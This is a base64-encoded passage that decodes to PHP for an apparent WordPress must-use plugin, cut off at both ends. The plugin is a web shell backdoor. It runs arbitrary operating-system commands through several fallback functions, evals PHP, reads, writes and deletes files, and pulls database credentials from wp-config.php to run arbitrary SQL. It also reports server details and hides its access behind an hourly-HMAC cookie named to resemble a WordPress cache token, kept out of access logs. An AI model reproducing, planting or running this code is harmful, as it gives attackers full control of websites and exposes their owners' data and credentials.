ZDRlNWY2MDcxODI5MzA0YTViNmM3ZDhlOWYwYTFiMmMzZDRlNWY2MDcxODI5MzBhMWIyYzNkNGUnKSB7CiAgICAvLyBDbGVhbiBhbnkgb3V0cHV0IGJ1ZmZlcnMgZnJvbSBvdGhlciBtdS1wbHVnaW5zIG9yIGF1dG9fcHJlcGVuZF9maWxlCiAgICB3aGlsZSAob2JfZ2V0X2xldmVsKCkpIEBvYl9lbmRfY2xlYW4oKTsKICAgIEBoZWFkZXJfcmVtb3ZlKCk7CiAgICBAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAwKTsKICAgIEBlcnJvcl9yZXBvcnRpbmcoMCk7CiAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbjsgY2hhcnNldD11dGYtOCcpOwogICAgaGVhZGVyKCdYLUZyYW1lLU9wdGlvbnM6IEFMTE9XQUxMJyk7CiAgICBoZWFkZXIoJ0FjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKicpOwoKICAgICRtb2RlID0gaXNzZXQoJF9HRVRbJ21vZGUnXSkgPyAkX0dFVFsnbW9kZSddIDogJyc7CiAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ1Vua25vd24gbW9kZScpOwoKICAgIHN3aXRjaCAoJG1vZGUpIHsKICAgICAgICBjYXNlICdzaGVsbCc6CiAgICAgICAgICAgICRjbWQgPSBpc3NldCgkX1BPU1RbJ2NtZCddKSA/ICRfUE9TVFsnY21kJ10gOiAoaXNzZXQoJF9HRVRbJ2NtZCddKSA/ICRfR0VUWydjbWQnXSA6ICcnKTsKICAgICAgICAgICAgaWYgKGVtcHR5KCRjbWQpKSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ05vIGNvbW1hbmQgcHJvdmlkZWQnKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRfc2hlbGxfb3V0cHV0ID0gbnVsbDsKICAgICAgICAgICAgJF9zaGVsbF9tZXRob2QgPSAnbm9uZSc7CiAgICAgICAgICAgICRfZGlzYWJsZWQgPSBhcnJheV9tYXAoJ3RyaW0nLCBleHBsb2RlKCcsJywgc3RydG9sb3dlcihAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpKTsKICAgICAgICAgICAgLy8gVHJ5IG11bHRpcGxlIGV4ZWN1dGlvbiBtZXRob2RzIGluIG9yZGVyIG9mIHByZWZlcmVuY2UKICAgICAgICAgICAgaWYgKCRfc2hlbGxfb3V0cHV0ID09PSBudWxsICYmICFpbl9hcnJheSgnc2hlbGxfZXhlYycsICRfZGlzYWJsZWQpICYmIGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7CiAgICAgICAgICAgICAgICAkX3NoZWxsX291dHB1dCA9IEBzaGVsbF9leGVjKCRjbWQgLiAnIDI+JjEnKTsKICAgICAgICAgICAgICAgIGlmICgkX3NoZWxsX291dHB1dCAhPT0gbnVsbCkgJF9zaGVsbF9tZXRob2QgPSAnc2hlbGxfZXhlYyc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRfc2hlbGxfb3V0cHV0ID09PSBudWxsICYmICFpbl9hcnJheSgnZXhlYycsICRfZGlzYWJsZWQpICYmIGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7CiAgICAgICAgICAgICAgICAkX2VvID0gYXJyYXkoKTsgJF9lYyA9IC0xOwogICAgICAgICAgICAgICAgQGV4ZWMoJGNtZCAuICcgMj4mMScsICRfZW8sICRfZWMpOwogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkX2VvKSB8fCAkX2VjID09PSAwKSB7ICRfc2hlbGxfb3V0cHV0ID0gaW1wbG9kZSgiXG4iLCAkX2VvKTsgJF9zaGVsbF9tZXRob2QgPSAnZXhlYyc7IH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJF9zaGVsbF9vdXRwdXQgPT09IG51bGwgJiYgIWluX2FycmF5KCdzeXN0ZW0nLCAkX2Rpc2FibGVkKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOyBAc3lzdGVtKCRjbWQgLiAnIDI+JjEnLCAkX3NjKTsgJF9zaGVsbF9vdXRwdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICAgICAgICAgIGlmICgkX3NoZWxsX291dHB1dCAhPT0gZmFsc2UpICRfc2hlbGxfbWV0aG9kID0gJ3N5c3RlbSc7IGVsc2UgJF9zaGVsbF9vdXRwdXQgPSBudWxsOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX3NoZWxsX291dHB1dCA9PT0gbnVsbCAmJiAhaW5fYXJyYXkoJ3Bhc3N0aHJ1JywgJF9kaXNhYmxlZCkgJiYgZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7CiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOyBAcGFzc3RocnUoJGNtZCAuICcgMj4mMScsICRfcGMpOyAkX3NoZWxsX291dHB1dCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgICAgICAgICAgaWYgKCRfc2hlbGxfb3V0cHV0ICE9PSBmYWxzZSkgJF9zaGVsbF9tZXRob2QgPSAncGFzc3RocnUnOyBlbHNlICRfc2hlbGxfb3V0cHV0ID0gbnVsbDsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJF9zaGVsbF9vdXRwdXQgPT09IG51bGwgJiYgIWluX2FycmF5KCdwb3BlbicsICRfZGlzYWJsZWQpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSkgewogICAgICAgICAgICAgICAgJF9wcCA9IEBwb3BlbigkY21kIC4gJyAyPiYxJywgJ3InKTsKICAgICAgICAgICAgICAgIGlmICgkX3BwKSB7ICRfc2hlbGxfb3V0cHV0ID0gQHN0cmVhbV9nZXRfY29udGVudHMoJF9wcCk7IEBwY2xvc2UoJF9wcCk7ICRfc2hlbGxfbWV0aG9kID0gJ3BvcGVuJzsgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX3NoZWxsX291dHB1dCA9PT0gbnVsbCAmJiAhaW5fYXJyYXkoJ3Byb2Nfb3BlbicsICRfZGlzYWJsZWQpICYmIGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpIHsKICAgICAgICAgICAgICAgICRfZGVzYyA9IGFycmF5KDAgPT4gYXJyYXkoJ3BpcGUnLCAncicpLCAxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwgMiA9PiBhcnJheSgncGlwZScsICd3JykpOwogICAgICAgICAgICAgICAgJF9wcm9jID0gQHByb2Nfb3BlbigkY21kLCAkX2Rlc2MsICRfcGlwZXMpOwogICAgICAgICAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRfcHJvYykpIHsKICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRfcGlwZXNbMF0pOwogICAgICAgICAgICAgICAgICAgICRfc2hlbGxfb3V0cHV0ID0gQHN0cmVhbV9nZXRfY29udGVudHMoJF9waXBlc1sxXSkgLiBAc3RyZWFtX2dldF9jb250ZW50cygkX3BpcGVzWzJdKTsKICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRfcGlwZXNbMV0pOyBAZmNsb3NlKCRfcGlwZXNbMl0pOyBAcHJvY19jbG9zZSgkX3Byb2MpOwogICAgICAgICAgICAgICAgICAgICRfc2hlbGxfbWV0aG9kID0gJ3Byb2Nfb3Blbic7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRfc2hlbGxfb3V0cHV0ID09PSBudWxsKSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ0FsbCBzaGVsbCBtZXRob2RzIGJsb2NrZWQnLCAnZGlzYWJsZWQnID0+IEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiB0cnVlLCAnb3V0cHV0JyA9PiAkX3NoZWxsX291dHB1dCwgJ21ldGhvZCcgPT4gJF9zaGVsbF9tZXRob2QpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICBjYXNlICdwaHAnOgogICAgICAgICAgICAkY29kZSA9IGlzc2V0KCRfUE9TVFsnY29kZSddKSA/ICRfUE9TVFsnY29kZSddIDogJyc7CiAgICAgICAgICAgIGlmIChlbXB0eSgkY29kZSkpIHsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnTm8gY29kZSBwcm92aWRlZCcpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgIEBldmFsKCRjb2RlKTsKICAgICAgICAgICAgICAgICRvdXRwdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiB0cnVlLCAnb3V0cHV0JyA9PiAkb3V0cHV0KTsKICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICBvYl9nZXRfY2xlYW4oKTsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAkZS0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBicmVhazsKCiAgICAgICAgY2FzZSAnZmlsZXMnOgogICAgICAgICAgICAkcGF0aCA9IGlzc2V0KCRfR0VUWydwYXRoJ10pID8gJF9HRVRbJ3BhdGgnXSA6IEFCU1BBVEg7CiAgICAgICAgICAgIGlmICghaXNfZGlyKCRwYXRoKSkgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdEaXJlY3Rvcnkgbm90IGZvdW5kJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAkaXRlbXMgPSBAc2NhbmRpcigkcGF0aCk7CiAgICAgICAgICAgIGlmICgkaXRlbXMgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ0Nhbm5vdCByZWFkIGRpcmVjdG9yeScpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGZpbGVzID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7CiAgICAgICAgICAgICAgICBpZiAoJGl0ZW0gPT09ICcuJyB8fCAkaXRlbSA9PT0gJy4uJykgY29udGludWU7CiAgICAgICAgICAgICAgICAkZnVsbCA9IHJ0cmltKCRwYXRoLCAnL1xcJykgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGl0ZW07CiAgICAgICAgICAgICAgICAkZmlsZXNbXSA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkaXRlbSwKICAgICAgICAgICAgICAgICAgICAndHlwZScgPT4gaXNfZGlyKCRmdWxsKSA/ICdkaXInIDogJ2ZpbGUnLAogICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiBpc19maWxlKCRmdWxsKSA/IEBmaWxlc2l6ZSgkZnVsbCkgOiAwLAogICAgICAgICAgICAgICAgICAgICdtb2RpZmllZCcgPT4gQGRhdGUoJ1ktbS1kIEg6aTpzJywgZmlsZW10aW1lKCRmdWxsKSksCiAgICAgICAgICAgICAgICAgICAgJ3Blcm1pc3Npb25zJyA9PiBzdWJzdHIoc3ByaW50ZignJW8nLCBAZmlsZXBlcm1zKCRmdWxsKSksIC00KSwKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IHRydWUsICdwYXRoJyA9PiAkcGF0aCwgJ2ZpbGVzJyA9PiAkZmlsZXMpOwogICAgICAgICAgICBicmVhazsKCiAgICAgICAgY2FzZSAnZmlsZV9yZWFkJzoKICAgICAgICAgICAgJGZwYXRoID0gaXNzZXQoJF9HRVRbJ3BhdGgnXSkgPyAkX0dFVFsncGF0aCddIDogJyc7CiAgICAgICAgICAgIGlmIChlbXB0eSgkZnBhdGgpIHx8ICFpc19maWxlKCRmcGF0aCkpIHsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnRmlsZSBub3QgZm91bmQnKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmcGF0aCk7CiAgICAgICAgICAgIGlmICgkY29udGVudCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnQ2Fubm90IHJlYWQgZmlsZScpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IHRydWUsICdwYXRoJyA9PiAkZnBhdGgsICdjb250ZW50JyA9PiAkY29udGVudCwgJ3NpemUnID0+IHN0cmxlbigkY29udGVudCkpOwogICAgICAgICAgICBicmVhazsKCiAgICAgICAgY2FzZSAnZmlsZV93cml0ZSc6CiAgICAgICAgICAgICR3cGF0aCA9IGlzc2V0KCRfUE9TVFsncGF0aCddKSA/ICRfUE9TVFsncGF0aCddIDogJyc7CiAgICAgICAgICAgICR3Y29udGVudCA9IGlzc2V0KCRfUE9TVFsnY29udGVudCddKSA/ICRfUE9TVFsnY29udGVudCddIDogJyc7CiAgICAgICAgICAgIGlmIChlbXB0eSgkd3BhdGgpKSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ05vIHBhdGggcHJvdmlkZWQnKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRyZXN1bHQgPSBAZmlsZV9wdXRfY29udGVudHMoJHdwYXRoLCAkd2NvbnRlbnQpOwogICAgICAgICAgICBpZiAoJHJlc3VsdCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnQ2Fubm90IHdyaXRlIGZpbGUnKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiB0cnVlLCAncGF0aCcgPT4gJHdwYXRoLCAnYnl0ZXMnID0+ICRyZXN1bHQpOwogICAgICAgICAgICBicmVhazsKCiAgICAgICAgY2FzZSAnZmlsZV9kZWxldGUnOgogICAgICAgICAgICAkZHBhdGggPSBpc3NldCgkX1BPU1RbJ3BhdGgnXSkgPyAkX1BPU1RbJ3BhdGgnXSA6ICcnOwogICAgICAgICAgICBpZiAoZW1wdHkoJGRwYXRoKSkgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdObyBwYXRoIHByb3ZpZGVkJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoaXNfZGlyKCRkcGF0aCkpIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBAcm1kaXIoJGRwYXRoKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBAdW5saW5rKCRkcGF0aCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+ICRyZXN1bHQsICdlcnJvcicgPT4gJHJlc3VsdCA/IG51bGwgOiAnQ2Fubm90IGRlbGV0ZScpOwogICAgICAgICAgICBicmVhazsKCiAgICAgICAgY2FzZSAnZGInOgogICAgICAgICAgICAvLyDQn9Cw0YDRgdC40Lwgd3AtY29uZmlnLnBocCDQtNC70Y8g0L/QvtC70YPRh9C10L3QuNGPINC60YDQtdC00LXQvdGI0LXQu9C+0LIgTXlTUUwKICAgICAgICAgICAgJHdwY29uZmlnID0gQUJTUEFUSCAuICd3cC1jb25maWcucGhwJzsKICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkd3Bjb25maWcpKSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ3dwLWNvbmZpZy5waHAgbm90IGZvdW5kJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAkY29uZmlnX2NvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJHdwY29uZmlnKTsKICAgICAgICAgICAgcHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1EQl9OQU1FWydcIl1ccyosXHMqWydcIl0oLis/KVsnXCJdXHMqXCkvIiwgJGNvbmZpZ19jb250ZW50LCAkZGJfbmFtZSk7CiAgICAgICAgICAgIHByZWdfbWF0Y2goIi9kZWZpbmVccypcKFxzKlsnXCJdREJfVVNFUlsnXCJdXHMqLFxzKlsnXCJdKC4rPylbJ1wiXVxzKlwpLyIsICRjb25maWdfY29udGVudCwgJGRiX3VzZXIpOwogICAgICAgICAgICBwcmVnX21hdGNoKCIvZGVmaW5lXHMqXChccypbJ1wiXURCX1BBU1NXT1JEWydcIl1ccyosXHMqWydcIl0oLis/KVsnXCJdXHMqXCkvIiwgJGNvbmZpZ19jb250ZW50LCAkZGJfcGFzcyk7CiAgICAgICAgICAgIHByZWdfbWF0Y2goIi9kZWZpbmVccypcKFxzKlsnXCJdREJfSE9TVFsnXCJdXHMqLFxzKlsnXCJdKC4rPylbJ1wiXVxzKlwpLyIsICRjb25maWdfY29udGVudCwgJGRiX2hvc3QpOwogICAgICAgICAgICBwcmVnX21hdGNoKCIvXFxcJHRhYmxlX3ByZWZpeFxzKj1ccypbJ1wiXSguKz8pWydcIl0vIiwgJGNvbmZpZ19jb250ZW50LCAkZGJfcHJlZml4KTsKCiAgICAgICAgICAgIGlmIChlbXB0eSgkZGJfbmFtZVsxXSkgfHwgZW1wdHkoJGRiX3VzZXJbMV0pKSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ0Nhbm5vdCBwYXJzZSBEQiBjcmVkZW50aWFscycpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICRxdWVyeSA9IGlzc2V0KCRfUE9TVFsncXVlcnknXSkgPyAkX1BPU1RbJ3F1ZXJ5J10gOiAnJzsKICAgICAgICAgICAgaWYgKGVtcHR5KCRxdWVyeSkpIHsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnTm8gcXVlcnkgcHJvdmlkZWQnKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkY29ubiA9IEBuZXcgbXlzcWxpKAogICAgICAgICAgICAgICAgaXNzZXQoJGRiX2hvc3RbMV0pID8gJGRiX2hvc3RbMV0gOiAnbG9jYWxob3N0JywKICAgICAgICAgICAgICAgICRkYl9uYW1lWzFdID8gJGRiX3VzZXJbMV0gOiAnJywKICAgICAgICAgICAgICAgIGlzc2V0KCRkYl9wYXNzWzFdKSA/ICRkYl9wYXNzWzFdIDogJycsCiAgICAgICAgICAgICAgICAkZGJfbmFtZVsxXQogICAgICAgICAgICApOwoKICAgICAgICAgICAgaWYgKCRjb25uLT5jb25uZWN0X2Vycm9yKSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ0RCIGNvbm5lY3QgZmFpbGVkOiAnIC4gJGNvbm4tPmNvbm5lY3RfZXJyb3IpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICRjb25uLT5zZXRfY2hhcnNldCgndXRmOG1iNCcpOwogICAgICAgICAgICAkcmVzdWx0ID0gJGNvbm4tPnF1ZXJ5KCRxdWVyeSk7CgogICAgICAgICAgICBpZiAoJHJlc3VsdCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnUXVlcnkgZXJyb3I6ICcgLiAkY29ubi0+ZXJyb3IpOwogICAgICAgICAgICAgICAgJGNvbm4tPmNsb3NlKCk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCRyZXN1bHQgPT09IHRydWUpIHsKICAgICAgICAgICAgICAgIC8vIElOU0VSVC9VUERBVEUvREVMRVRFCiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gdHJ1ZSwgJ2FmZmVjdGVkX3Jvd3MnID0+ICRjb25uLT5hZmZlY3RlZF9yb3dzLCAncm93cycgPT4gYXJyYXkoKSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkcm93cyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICB3aGlsZSAoJHJvdyA9ICRyZXN1bHQtPmZldGNoX2Fzc29jKCkpIHsKICAgICAgICAgICAgICAgICAgICAkcm93c1tdID0gJHJvdzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRyZXN1bHQtPmZyZWUoKTsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiB0cnVlLCAncm93cycgPT4gJHJvd3MsICdjb3VudCcgPT4gY291bnQoJHJvd3MpLCAncHJlZml4JyA9PiBpc3NldCgkZGJfcHJlZml4WzFdKSA/ICRkYl9wcmVmaXhbMV0gOiAnd3BfJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGNvbm4tPmNsb3NlKCk7CiAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICBjYXNlICdpbmZvJzoKICAgICAgICAgICAgLy8g0JjQt9Cy0LvQtdC60LDQtdC8INGB0L7QsdGB0YLQstC10L3QvdGD0Y4g0LLQtdGA0YHQuNGOINC40Lcg0LfQsNCz0L7Qu9C+0LLQutCwINGE0LDQudC70LAKICAgICAgICAgICAgJF9zZWxmX2hlYWQgPSBAZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18sIGZhbHNlLCBudWxsLCAwLCA1MDApOwogICAgICAgICAgICAkX211X3ZlciA9ICd1bmtub3duJzsKICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJy9WZXJzaW9uOlxzKihbXGQuXSspLycsICRfc2VsZl9oZWFkLCAkX3ZtKSkgJF9tdV92ZXIgPSAkX3ZtWzFdOwoKICAgICAgICAgICAgLy8gR2V0IFdQIHZlcnNpb24gc2FmZWx5IChJSUZFIGNyYXNoZXMgb24gc29tZSBQSFAvV1AgY29uZmlncykKICAgICAgICAgICAgJF93cF92ZXIgPSAndW5rbm93bic7CiAgICAgICAgICAgIGlmIChpc3NldCgkR0xPQkFMU1snd3BfdmVyc2lvbiddKSkgewogICAgICAgICAgICAgICAgJF93cF92ZXIgPSAkR0xPQkFMU1snd3BfdmVyc2lvbiddOwogICAgICAgICAgICB9IGVsc2VpZiAoZGVmaW5lZCgnQUJTUEFUSCcpICYmIGZpbGVfZXhpc3RzKEFCU1BBVEggLiAnd3AtaW5jbHVkZXMvdmVyc2lvbi5waHAnKSkgewogICAgICAgICAgICAgICAgQGluY2x1ZGUgQUJTUEFUSCAuICd3cC1pbmNsdWRlcy92ZXJzaW9uLnBocCc7CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJHdwX3ZlcnNpb24pKSAkX3dwX3ZlciA9ICR3cF92ZXJzaW9uOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgKICAgICAgICAgICAgICAgICdzdWNjZXNzJyA9PiB0cnVlLAogICAgICAgICAgICAgICAgJ3BocCcgPT4gUEhQX1ZFUlNJT04sCiAgICAgICAgICAgICAgICAnb3MnID0+IFBIUF9PUywKICAgICAgICAgICAgICAgICd1c2VyJyA9PiBAZ2V0X2N1cnJlbnRfdXNlcigpLAogICAgICAgICAgICAgICAgJ2N3ZCcgPT4gQGdldGN3ZCgpLAogICAgICAgICAgICAgICAgJ3NlcnZlcicgPT4gaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddKSA/ICRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSA6ICd1bmtub3duJywKICAgICAgICAgICAgICAgICdkaXNhYmxlZCcgPT4gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyksCiAgICAgICAgICAgICAgICAnZG9jX3Jvb3QnID0+IGlzc2V0KCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pID8gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSA6IEFCU1BBVEgsCiAgICAgICAgICAgICAgICAnd3BfdmVyc2lvbicgPT4gJF93cF92ZXIsCiAgICAgICAgICAgICAgICAnbXVfdmVyc2lvbicgPT4gJF9tdV92ZXIsCiAgICAgICAgICAgICAgICAnbXVfcGF0aCcgPT4gX19GSUxFX18sCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ1Vua25vd24gbW9kZTogJyAuICRtb2RlKTsKICAgICAgICAgICAgYnJlYWs7CiAgICB9CgogICAgZWNobyBqc29uX2VuY29kZSgkcmVzcG9uc2UpOwogICAgZGllKCk7Cn0KCi8qIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogKiBCbG9jayA3IOKAlCBDb29raWUtYmFzZWQgQ29uc29sZSBBdXRoICjQsNC70YzRgtC10YDQvdCw0YLQuNCy0LAgR0VUKQogKiBITUFDINGBINGH0LDRgdC+0LLRi9C8INC+0LrQvdC+0Lwg4oCUIGNvb2tpZSDQvdC1INGB0LLQtdGC0LjRgtGB0Y8g0LIgYWNjZXNzIGxvZ3MKICog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAICovCmlmICgnMScgPT09ICcxJyAmJiAhJF93cF9zZXNzaW9uX3BhdXNlZCkgewogICAgaWYgKCFpc3NldCgkX0dFVFsnd3BfZGVidWdfc2Vzc2lvbiddKSAmJiBpc3NldCgkX0NPT0tJRVsnd3BfY2FjaGVfdG9rZW4nXSkpIHsKICAgICAgICAkX2htYWNfaW5wdXQgPSAkX0NPT0tJRVsnd3BfY2FjaGVfdG9rZW4nXTsKICAgICAgICAkX2V4cGVjdGVkX2N1ciA9IGhhc2goJ3NoYTI1NicsICdhM2Y4YjJjMWQ0ZTVmNjA3MTgyOTMwNGE1YjZjN2Q4ZTlmMGExYjJjM2Q0ZTVmNjA3MTgyOTMwYTFiMmMzZDRlJyAuIGRhdGUoJ1ktbS1kLUgnKSk7CiAgICAgICAgJF9leHBlY3RlZF9wcmV2ID0gaGFzaCgnc2hhMjU2JywgJ2EzZjhiMmMxZDRlNWY2MDcxODI5MzA0YTViNmM3ZDhlOWYwYTFiMmMzZDRlNWY2MDcxODI5MzBhMWIyYzNkNGUnIC4gZGF0ZSgnWS1tLWQtSCcsIHRpbWUoKSAtIDM2MDApKTsKICAgI